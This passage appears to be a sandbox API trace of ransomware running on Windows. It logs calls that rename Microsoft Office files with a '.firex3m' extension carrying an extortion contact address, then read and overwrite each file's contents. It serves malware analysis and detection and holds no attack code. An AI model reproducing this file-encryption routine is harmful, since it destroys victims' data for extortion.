lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0193.575] CloseHandle (hObject=0x6a8) returned 1 [0193.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExpenseReport.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXPENS~1.FIR")) returned 0x6d5240 [0197.052] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0197.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0197.052] GetProcessHeap () returned 0x630000 [0197.052] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4a61) returned 0x737f8a8 [0197.052] GetProcessHeap () returned 0x630000 [0197.052] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4a61) returned 0x7384318 [0197.052] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.052] ReadFile (in: hFile=0x6a8, lpBuffer=0x737f8a8, nNumberOfBytesToRead=0x4a40, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x737f8a8*, lpNumberOfBytesRead=0x3cfff0c*=0x4a40, lpOverlapped=0x0) returned 1 [0199.020] GetProcessHeap () returned 0x630000 [0199.020] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0199.021] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.021] WriteFile (in: hFile=0x6a8, lpBuffer=0x7384318*, nNumberOfBytesToWrite=0x4a40, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7384318*, lpNumberOfBytesWritten=0x3cfff0c*=0x4a40, lpOverlapped=0x0) returned 1 [0199.021] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.021] WriteFile (in: hFile=0x6a8, lpBuffer=0x7388d57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7388d57*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0199.021] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.021] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0199.021] CloseHandle (hObject=0x6a8) returned 1 [0199.797] GetProcessHeap () returned 0x630000 [0199.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7384318 | out: hHeap=0x630000) returned 1 [0199.797] GetProcessHeap () returned 0x630000 [0199.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x737f8a8 | out: hHeap=0x630000) returned 1 [0199.797] GetProcessHeap () returned 0x630000 [0199.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0200.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3c92c227, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4a71, dwReserved0=0xce07496, dwReserved1=0x737f8a0, cFileName="ExpenseReport.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXPENS~1.FIR")) returned 0x6d5540 [0200.764] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0200.764] Sleep (dwMilliseconds=0x1) [0200.779] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK", len=0x64 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK") returned 1 [0200.780] GetProcessHeap () returned 0x630000 [0200.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bc0) returned 0x7133a90 [0200.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\namedurls.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0200.781] CloseHandle (hObject=0x408) returned 1 [0200.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\namedurls.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\namedurls.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x266c54cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x266c54cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x266c54cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="NamedUrls.HxK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NAMEDU~1.FIR")) returned 0x6d52c0 [0200.783] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0200.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\namedurls.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0200.783] GetProcessHeap () returned 0x630000 [0200.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64fec8 [0200.783] GetProcessHeap () returned 0x630000 [0200.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650658 [0200.783] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.783] ReadFile (in: hFile=0x408, lpBuffer=0x64fec8, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x64fec8*, lpNumberOfBytesRead=0x3cfff0c*=0x80, lpOverlapped=0x0) returned 1 [0200.785] GetProcessHeap () returned 0x630000 [0200.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0200.785] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.785] WriteFile (in: hFile=0x408, lpBuffer=0x650658*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x650658*, lpNumberOfBytesWritten=0x3cfff0c*=0x80, lpOverlapped=0x0) returned 1 [0200.785] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.785] WriteFile (in: hFile=0x408, lpBuffer=0x6506d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6506d7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0200.785] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.785] WriteFile (in: hFile=0x408, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0200.785] CloseHandle (hObject=0x408) returned 1 [0200.785] GetProcessHeap () returned 0x630000 [0200.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650658 | out: hHeap=0x630000) returned 1 [0200.785] GetProcessHeap () returned 0x630000 [0200.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64fec8 | out: hHeap=0x630000) returned 1 [0200.785] GetProcessHeap () returned 0x630000 [0200.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0200.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x266c54cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x266c54cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3da02b43, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x3cffd20, dwReserved1=0x64fec8, cFileName="NamedUrls.HxK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NAMEDU~1.FIR")) returned 0x6d52c0 [0200.786] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0200.786] Sleep (dwMilliseconds=0x1) [0200.797] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF", len=0x6e | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF") returned 1 [0200.797] GetProcessHeap () returned 0x630000 [0200.797] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4be4) returned 0x7133a90 [0200.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.798] Sleep (dwMilliseconds=0x1) [0200.824] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl", len=0x7d | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl") returned 1 [0200.824] GetProcessHeap () returned 0x630000 [0200.824] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c10) returned 0x7133a90 [0200.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0200.827] CloseHandle (hObject=0x408) returned 1 [0200.827] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\trdtv2r41.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.828] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d5380 [0200.828] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0200.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0200.828] GetProcessHeap () returned 0x630000 [0200.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x7442c98 [0200.828] GetProcessHeap () returned 0x630000 [0200.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x7477198 [0200.829] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.829] ReadFile (in: hFile=0x408, lpBuffer=0x7442c98, nNumberOfBytesToRead=0x6c40, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7442c98*, lpNumberOfBytesRead=0x3cfff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0204.864] GetProcessHeap () returned 0x630000 [0204.864] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0204.864] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.864] WriteFile (in: hFile=0x408, lpBuffer=0x7477198*, nNumberOfBytesToWrite=0x6c40, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477198*, lpNumberOfBytesWritten=0x3cfff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0204.865] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.865] WriteFile (in: hFile=0x408, lpBuffer=0x747ddd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x747ddd7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0204.865] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.865] WriteFile (in: hFile=0x408, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0204.865] CloseHandle (hObject=0x408) returned 1 [0204.865] GetProcessHeap () returned 0x630000 [0204.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7477198 | out: hHeap=0x630000) returned 1 [0204.865] GetProcessHeap () returned 0x630000 [0204.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7442c98 | out: hHeap=0x630000) returned 1 [0204.866] GetProcessHeap () returned 0x630000 [0204.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0204.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x400e07fc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6c66, dwReserved0=0xce07496, dwReserved1=0x7442c90, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d5400 [0204.866] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0204.866] Sleep (dwMilliseconds=0x1) [0206.930] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF", len=0x6f | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF") returned 1 [0206.931] GetProcessHeap () returned 0x630000 [0206.931] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c64) returned 0x6fe4288 [0206.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0206.932] CloseHandle (hObject=0x6a8) returned 1 [0206.932] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0206.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0206.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x69006b02, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e40 [0206.933] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0206.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0206.933] GetProcessHeap () returned 0x630000 [0206.933] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xda1) returned 0x695ed0 [0206.933] GetProcessHeap () returned 0x630000 [0206.933] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xda1) returned 0x72b5678 [0206.933] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.933] ReadFile (in: hFile=0x6a8, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd80, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x3cfff0c*=0xd80, lpOverlapped=0x0) returned 1 [0206.947] GetProcessHeap () returned 0x630000 [0206.947] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0206.947] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 